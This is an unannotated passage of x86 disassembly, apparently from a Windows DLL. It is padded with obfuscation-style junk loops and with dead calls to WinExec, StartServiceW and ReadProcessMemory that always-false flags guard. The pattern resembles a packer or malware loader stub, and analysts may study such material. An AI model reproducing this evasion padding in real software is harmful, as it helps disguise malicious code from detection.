inc edx
cmp eax, edx
setge cl
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0x188]
push dword [ebp - 0x20]
call fcn.10016aae
or esi, 0xffffffff
jmp 0x1002f314
mov dword [ebp - 0x34], 0x86e024b1
xor eax, eax
mov dword [ebp - 0x34], 0x53cdce3f
cmp dword [ebp - 0x34], eax
jne 0x1002f31d
dec dword [ebp - 0x20]
jns 0x1002f090
lea ecx, [ebp - 0x188]
mov dword [ebp - 4], esi
call fcn.10016a92
mov dword [ebp - 0x18], 0xd4e06482
xor eax, eax
mov dword [ebp - 0x1c], 0x41e55969
push 4
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x1002f35e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x13e8], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002f346
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x1002f37e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x13e8], 0xf57a7c20
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002f366
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002f391
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov dword [ebp - 0x1c], 0x59cd
lea ecx, [ebp - 0x364]
push 2
call fcn.10016a10
mov dword [ebp - 4], 0xb
xor eax, eax
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1002f3d6
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x364]
call fcn.10016aae
and dword [eax], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002f3ba
xor eax, eax
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jl 0x1002f47e
mov dword [ebp - 0x3c], eax
jmp 0x1002f3f4
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0xe48], ebx
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 3
jl 0x1002f3e7
push ebx
lea ecx, [ebp - 0x364]
call fcn.10016aae
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x364]
mov dword [eax], 0xffff
call fcn.10016aae
push dword [ebp - 0x1c]
xor ebx, ebx
lea ecx, [ebp - 0x364]
cmp dword [eax], 2
sete bl
call fcn.10016aae
xor ecx, ecx
cmp dword [eax], ebx
mov eax, dword [ebp - 0x1c]
setl cl
xor edx, edx
cmp ecx, 0x357f451d
setle dl
xor ebx, ebx
sub edx, eax
inc ebx
cmp edx, dword [ebp - 0xe48]
jg 0x1002f45e
push ebx
lea ecx, [ebp - 0x364]
call fcn.10016aae
push ebx
lea ecx, [ebp - 0x364]
call fcn.10016aae
push 0
mov eax, dword [eax]
mov dword [ebp - 0xe48], eax
dec dword [ebp - 0x1c]
pop eax
jns 0x1002f3e2
lea ecx, [ebp - 0x364]
mov dword [ebp - 4], esi
call fcn.10016a92
mov dword [ebp - 0x18], 0x13
jmp 0x1002f944
xor eax, eax
lea ecx, [ebp - 0xbd8]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x28], 0xfffffff7
call fcn.10016a10
xor eax, eax
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1002f4df
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xbd8]
call fcn.10016aae
mov dword [eax], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002f4c4
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1002f535
mov eax, dword [ebp - 0x34]
xor edx, edx
mov ecx, ebx
add ecx, 0x887e
cmp eax, ecx
push 2
setl dl
xor ecx, ecx
add edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x34]
cmp edx, eax
setne cl
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0xbd8]
mov esi, dword [ebp - 0x28]
call fcn.10016aae
mov dword [eax], esi
xor eax, eax
test esi, esi
je 0x1002f535
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002f554
push eax
push 0x21ce
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
jmp 0x1002f554
mov dword [ebp - 0x34], 0xfff8
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002f551
push 0x2b8
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
dec dword [ebp - 0x34]
or esi, 0xffffffff
lea ecx, [ebp - 0xbd8]
mov dword [ebp - 4], esi
call fcn.10016a92
mov dword [ebp - 0x24], 0xb319
xor eax, eax
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x24], 0x8885c6f1
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], 5
mov dword [ebp - 0x24], 0x6dd8d130
mov dword [ebp - 0x34], 0x3869393d
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x1002f5b0
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xed8], 0x3e9323d1
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1002f598
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x1002f5d2
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x1378], 0xfffffff6
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x1002f5b9
xor eax, eax
dec dword [ebp - 0x34]
lea ecx, [ebp - 0x31c]
mov byte [ebp - 0xd], al
push 3
call fcn.10016a10
mov dword [ebp - 4], 0xd
xor eax, eax
mov dword [ebp - 0x34], 0xaf04
mov dword [ebp - 0x28], 0x80f219a6
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x1002f624
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x31c]
call fcn.10016aae
mov dword [eax], 6
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x1002f605
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x1002f644
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x65c], 0x77cc4247
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1002f62c
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002f65c
push eax
push 0x211c
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
dec dword [ebp - 0x34]
je 0x1002f679
push 2
lea ecx, [ebp - 0x31c]
call fcn.10016aae
cmp dword [eax], 0
je 0x1002f679
mov esi, ebx
xor eax, eax
jmp 0x1002f67d
xor eax, eax
mov esi, eax
mov dword [ebp - 0x65c], eax
lea ecx, [ebp - 0x31c]
push eax
call fcn.10016aae
lea ecx, [ebp - 0x31c]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
xor eax, eax
push eax
call fcn.10016aae
xor eax, eax
lea ecx, [ebp - 0x31c]
push eax
call fcn.10016aae
xor ecx, ecx
test esi, esi
setg cl
xor ebx, ebx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x31c]
setle bl
xor eax, eax
push eax
call fcn.10016aae
or esi, 0xffffffff
lea ecx, [ebp - 0x31c]
mov dword [ebp - 4], esi
mov dword [eax], ebx
call fcn.10016a92
cmp byte [ebp - 0xd], 0
je 0x1002f93e
mov dword [ebp - 0x20], 0x834504cd
xor eax, eax
mov dword [ebp - 0x44], 5
mov dword [ebp - 0x14], 0xfffffff7
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002f713
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1002f74d
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002f728
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
xor ebx, ebx
inc ebx
push ebx
push 0x1900
push 0x540
push 0x1e8d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollRange]
jmp 0x1002f941
xor ebx, ebx
mov dword [ebp - 0x34], 0xa07563ff
inc ebx
lea ecx, [ebp - 0xa88]
push ebx
call fcn.10016a10
mov dword [ebp - 4], 0xe
xor eax, eax
mov dword [ebp - 0x28], 0xcc545e21
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x1002f795
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x408], 0xa473eb90
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1002f77c
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x1002f7ba
push dword [ebp - 0x20]
lea ecx, [ebp - 0xa88]
call fcn.10016aae
push 4
pop ecx
mov dword [eax], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1002f79d
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x1002f7dc
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xf68], 0xe4f78d7c
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x1002f7c3
xor eax, eax
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], eax
jl 0x1002f83e
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x408]
mov dword [ebp - 0x34], eax
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x1002f80d
cmp dword [ebp - 0x20], 0xc207
jne 0x1002f804
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0xa88]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x408]
xor eax, eax
push eax
call fcn.10016aae
mov dword [eax], esi
mov dword [ebp - 0xf68], esi
mov dword [ebp - 0x44], 0x72c02a30
dec dword [ebp - 0x20]
jns 0x1002f7e4
xor eax, eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0xfffffff9
jge 0x1002f92b
jmp 0x1002f84f
xor eax, eax
mov dword [ebp - 0x34], 3
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x1c], 0x39a53aa4
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x1002f87c
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x750], ebx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1002f868
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1002f892
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x7c0], 0x1355901a
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1002f881
mov dword [ebp - 0x38], 0xfb64
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x44]
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1002f8b2
cmp dword [ebp - 0x14], eax
je 0x1002f8b2
mov eax, ebx
cmp eax, dword [ebp - 0x44]
jge 0x1002f8ba
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x404]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xf60], 0x67f6a191
mov eax, dword [ebp - 0x404]
imul eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x750], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
sub eax, ecx
neg eax
sbb eax, eax
xor edx, edx
inc eax
test eax, eax
mov eax, dword [ebp - 0x1c]
setg dl
sub edx, 0x67f6a191
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7c0], ecx
dec dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0xfffffff9
jl 0x1002f84d
lea ecx, [ebp - 0xa88]
mov dword [ebp - 4], esi
call fcn.10016a92
jmp 0x1002f72b
xor ebx, ebx
inc ebx
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 9
push 3
jne 0x1002f498
pop esi
push esi
lea ecx, [ebp - 0xe5c]
call fcn.10016a10
mov dword [ebp - 4], 0xf
xor eax, eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1002f98f
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xe5c]
call fcn.10016aae
mov dword [eax], 0x334
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002f971
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jg 0x1002f9c4
mov dword [ebp - 0x34], 0x9565
xor edx, edx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setl dl
sub eax, edx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x1002f998
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002f9d8
push 0x121a
call dword [sym.imp.KERNEL32.dll_ExitThread]
or eax, 0xffffffff
lea ecx, [ebp - 0xe5c]
mov dword [ebp - 4], eax
call fcn.10016a92
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10031861
push 2
lea ecx, [ebp - 0xf80]
call fcn.10016a10
mov dword [ebp - 4], 0x10
xor eax, eax
mov dword [ebp - 0x14], 0x57a7c203
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1002fa38
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xf80]
call fcn.10016aae
mov dword [eax], 0x7862fd41
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002fa19
xor eax, eax
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jl 0x1002fa64
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002fa5f
push 0x5d0
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RedrawWindow]
xor eax, eax
dec dword [ebp - 0x14]
jns 0x1002fa40
or eax, 0xffffffff
lea ecx, [ebp - 0xf80]
mov dword [ebp - 4], eax
call fcn.10016a92
movdqa xmm0, xmmword [0x10007d50]
lea eax, [ebp - 0x1038]
push eax
lea eax, [ebp - 0x1048]
mov dword [ebp - 0x1c], 0xe83c773
mov dword [ebp - 0x44], 0xba29
lea ecx, [ebp - 0x1308]
push eax
movdqu xmmword [ebp - 0x1048], xmm0
call fcn.10016ac0
lea ecx, [ebp - 0x162]
mov esi, eax
call fcn.10016abd
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x93c]
push dword [esi]
call fcn.10016a6c
mov dword [ebp - 4], 0x11
xor eax, eax
push 7
mov dword [ebp - 0x3c], ebx
pop ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], 0x54ba4fda
mov dword [ebp - 0x48], eax
push 3
mov dword [ebp - 0x1c], eax
pop esi
cmp dword [ebp - 0x1c], esi
jge 0x1002fb09
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x704], 0xfffffff6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002faf1
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jg 0x1002fb97
mov dword [ebp - 0x14], 0xb79f6a71
xor edx, edx
mov esi, dword [ebp - 0x700]
mov eax, dword [ebp - 0x14]
add esi, eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
push 3
setl dl
lea ecx, [ebp - 0x93c]
xor ebx, ebx
cmp esi, edx
pop esi
push esi
setl bl
call fcn.10016aae
xor edx, edx
mov dword [eax], ebx
mov eax, dword [ebp - 0x1c]
cmp ebx, eax
mov eax, dword [ebp - 0x14]
sete dl
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, 0xfffe
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, 0x82c4
setl cl
xor eax, eax
cmp ecx, 0xfffffff8
setne al
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x14], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x1002fb16
xor ebx, ebx
xor eax, eax
push 7
inc ebx
pop ecx
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ecx
je 0x1002fcdd
jmp 0x1002fba7
xor eax, eax
mov dword [ebp - 0x30], 0xb71808ad
mov dword [ebp - 0x2c], 2
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c], eax
jmp 0x1002fbd1
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3f0], 0xb1a6906e
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002fbc0
mov esi, dword [ebp - 0x44]
lea ecx, [ebp - 0x93c]
push 2
call fcn.10016aae
xor edx, edx
push 3
mov dword [eax], esi
dec dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x6fc]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
pop esi
setg dl
mov dword [ebp - 0x3c], edx
xor edx, edx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x30]
sub ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0x704]
setg dl
xor ecx, ecx
cmp eax, edx
setl cl
xor edx, edx
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x44]
setle bl
xor ecx, ecx
cmp ebx, eax
setge cl
xor eax, eax
cmp ecx, 0xb974
setle al
cmp eax, 0xbec7a429
je 0x1002fc6f
push esi
lea ecx, [ebp - 0x93c]
call fcn.10016aae
cmp dword [eax], 0
jne 0x1002fc75
mov eax, dword [ebp - 0x6fc]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x38]
sub ecx, eax
neg ecx
push 7
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x34], ecx
dec dword [ebp - 0x14]
mov eax, dword [ebp - 0x3f0]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x3ec]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], 0xfffffff7
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x3f0]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
pop ecx
mov dword [ebp - 0x3f0], eax
inc dword [ebp - 0x44]
push 1
pop ebx
cmp dword [ebp - 0x44], ecx
jne 0x1002fba5
or eax, 0xffffffff
lea ecx, [ebp - 0x93c]
mov dword [ebp - 4], eax
call fcn.10016a92
mov dword [ebp - 0x44], 0x87cf2e56
lea ecx, [ebp - 0xe70]
xor eax, eax
mov dword [ebp - 0x3c], 0xfe0a8eac
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 0x61eefb6f
push esi
call fcn.10016a10
mov dword [ebp - 4], 0x12
xor eax, eax
mov dword [ebp - 0x24], 0xe76e5b14
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], esi
jge 0x1002fd4a
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xe70]
call fcn.10016aae
mov dword [eax], 0xe864896e
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x1002fd2c
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x1002fd6c
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xa00], 0x47d2038e
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x1002fd53
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x3c], eax
inc ebx
or ecx, 0xffffffff
cmp dword [ebp - 0x3c], ebx
jl 0x1002fdae
mov dword [ebp - 0x1c], 0xfffffffb
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jg 0x1002fda9
mov dword [ebp - 0x34], 0xcaf14c90
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jle 0x1002fd8c
xor eax, eax
inc dword [ebp - 0x3c]
jmp 0x1002fd75
inc dword [ebp - 0x9fc]
mov dword [ebp - 4], ecx
lea ecx, [ebp - 0xe70]
call fcn.10016a92
mov dword [ebp - 0x30], 0x74f0e4f2
xor eax, eax
mov dword [ebp - 0x1c], 0xb9f9b31
mov dword [ebp - 0x24], 0x5cbcef05
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x1c], 0xffffffe6
cmp dword [ebp - 0x1c], 0x1c
jle 0x1002fe58
mov dword [ebp - 0x34], 0x36f6dd8d
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], eax
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002fe2b
push 0x1814
push 0xc0b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetClassLongA]
inc dword [ebp - 0x38]
mov ecx, 0xe9323d1b
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0x34]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp eax, ecx
push 0
setg dl
sub edx, dword [ebp - 0x38]
mov dword [ebp - 0x34], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x1c
pop eax
jg 0x1002fdec
mov dword [ebp - 0x1c], ebx
or ecx, 0xffffffff
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x28], 0x6eff
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], 0x68fab8d2
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x1002fe95
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x158], 0xfffffff9
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1002fe7d
xor eax, eax
push 4
mov dword [ebp - 0x2c], eax
pop ecx
cmp dword [ebp - 0x2c], ecx
jge 0x1002feb8
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x1408], 0xcc0136ef
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x1002fea0
xor eax, eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x1c], eax
jne 0x1002ff09
mov eax, dword [ebp - 0x158]
xor eax, eax
cmp dword [ebp - 0x1c], 0x978e60d7
jbe 0x1002fed8
cmp dword [ebp - 0x1c], eax
je 0x1002fed8
mov eax, ebx
mov ecx, dword [ebp - 0x48]
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x158]
cmp eax, ecx
setge dl
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
sub eax, 0x210c
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x28]
mov dword [ebp - 0x13fc], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002ff36
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x254], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002ff22
xor eax, eax
mov dword [ebp - 0x3c], 0x8ecf54c3
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1002ff5f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x13d8], 0xb90da115
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002ff46
xor eax, eax
mov dword [ebp - 0x3c], ebx
cmp dword [ebp - 0x3c], eax
jl 0x10030081
mov dword [ebp - 0x44], 0x72226312
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002ff97
push 0x22c3
push 0x151b
push 0xd51
push 0x216f
call dword [sym.imp.GDI32.dll_CreateRectRgn]
xor eax, eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ebx
jg 0x1003003f
push 2
lea ecx, [ebp - 0x45c]
call fcn.10016a10
xor eax, eax
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x1c], eax
jmp 0x1002ffcf
push dword [ebp - 0x1c]
call fcn.10016aae
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
lea ecx, [ebp - 0x45c]
jl 0x1002ffbe
push ebx
call fcn.10016aae
mov dword [eax], ebx
jmp 0x1003000f
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10030001
push 0x73d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindow]
push ebx
lea ecx, [ebp - 0x45c]
call fcn.10016aae
dec dword [eax]
push ebx
lea ecx, [ebp - 0x45c]
call fcn.10016aae
cmp dword [eax], 0
jge 0x1002ffe5
or eax, 0xffffffff
lea ecx, [ebp - 0x45c]
mov dword [ebp - 4], eax
call fcn.10016a92
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jle 0x1002ffa3
xor eax, eax
mov dword [ebp - 0x44], ebx
cmp dword [ebp - 0x44], eax
jl 0x10030078
mov dword [ebp - 0x14], 0x906c902d
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jl 0x10030073
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1003006e
push eax
push 0x21ce
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
xor eax, eax
dec dword [ebp - 0x14]
jns 0x10030056
dec dword [ebp - 0x44]
jns 0x10030047
dec dword [ebp - 0x3c]
jns 0x1002ff6b
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], eax
jl 0x10030532
mov dword [ebp - 0x3c], 0xa5d6c05b
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100300a5
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_EqualSid]
mov dword [ebp - 0x3c], 0x11
cmp dword [ebp - 0x3c], 0xffffffee
jg 0x10030130
or ebx, 0xffffffff
push 2
lea ecx, [ebp - 0xce0]
call fcn.10016a10
mov dword [ebp - 4], 0x14
xor eax, eax
mov dword [ebp - 0x1c], 0x8c66f5a9
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x100300fa
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xce0]
call fcn.10016aae
mov dword [eax], 0xede0b407
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x100300db
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10030110
push dword [ebp - 0x1c]
call fcn.10016aae
mov dword [eax], 0xc8d3c891
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
lea ecx, [ebp - 0xce0]
jl 0x100300ff
mov dword [ebp - 4], ebx
call fcn.10016a92
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xffffffee
jle 0x100300b5
xor ebx, ebx
inc ebx
mov dword [ebp - 0x14], 0x285faafe
lea ecx, [ebp - 0x8ac]
push esi
call fcn.10016a10
mov dword [ebp - 4], 0x15
xor eax, eax
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x24], 0xf82ff40f
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], esi
jge 0x1003017f
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x8ac]
call fcn.10016aae
mov dword [eax], 0x825e7a66
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x10030161
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x1003019f
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xee8], 0x20bd2ab
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x10030187
xor eax, eax
